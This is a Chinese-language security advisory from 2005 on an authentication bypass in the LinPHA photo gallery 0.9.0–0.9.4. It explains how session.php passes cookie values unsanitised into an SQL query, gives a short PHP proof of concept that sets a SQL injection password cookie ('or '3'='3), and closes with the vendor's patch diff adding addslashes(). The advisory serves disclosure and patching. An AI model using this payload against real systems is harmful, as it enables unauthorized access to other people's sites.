Linpha远程验证绕过漏洞
2005-08-17
系统编号:
WAVDB-00499
BUGTRAQ: 10827
影响版本:
LinPHA 0.9.0-0.9.4
程序介绍:
LinPHA是一款基于WEB的图象照片库管理程序。
漏洞分析:
LinPHA在通过COOKIE进行验证时存在问题,远程攻击者可以利用这个漏洞未授权访问系统。
问题存在于session.php文件中,由于对linpha_userid和linpha_password COOKIE信息验证处理不正确,攻击者可以修改会话的COOKIE信息,不需要密码访问LinPHA系统。
漏洞利用:
<?PHP
setcookie("linpha_userid","1",time()+86400*365,'/linpha');
setcookie("linpha_password","' or
'3'='3",time()+86400*365,'/linpha');
?>
解决方案:
厂商补丁:
LinPHA
------
linpha的CVS版本已经修正此问题:
http://linpha.sourceforge.net/nuke/index.php
--- linpha/linpha/include/session.php 2004/07/06 07:20:34 1.12
+++ linpha/linpha/include/session.php 2004/07/19 06:44:16 1.13
@@ -25,8 +25,8 @@
isset($_COOKIE["linpha_password"])&&$_COOKIE["linpha_password"]!="")
{
$query_username = $GLOBALS['db']->Execute("SELECT nickname, level, groups FROM
".PREFIX."users ".
- "WHERE ID = '".$_COOKIE["linpha_userid"]."' AND ".
- "password = '".$_COOKIE["linpha_password"]."'");
+ "WHERE ID = '".addslashes($_COOKIE["linpha_userid"])."' ".
+ "AND password = '".addslashes($_COOKIE["linpha_password"])."'");
if($row = $query_username->FetchRow())
{
$_SESSION["REMOTE_ADDR"] = @$_SERVER["REMOTE_ADDR"];
信息来源:
<*来源:Fernando Quintero (nando@udea.edu.co)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109112246805277&w=2
*>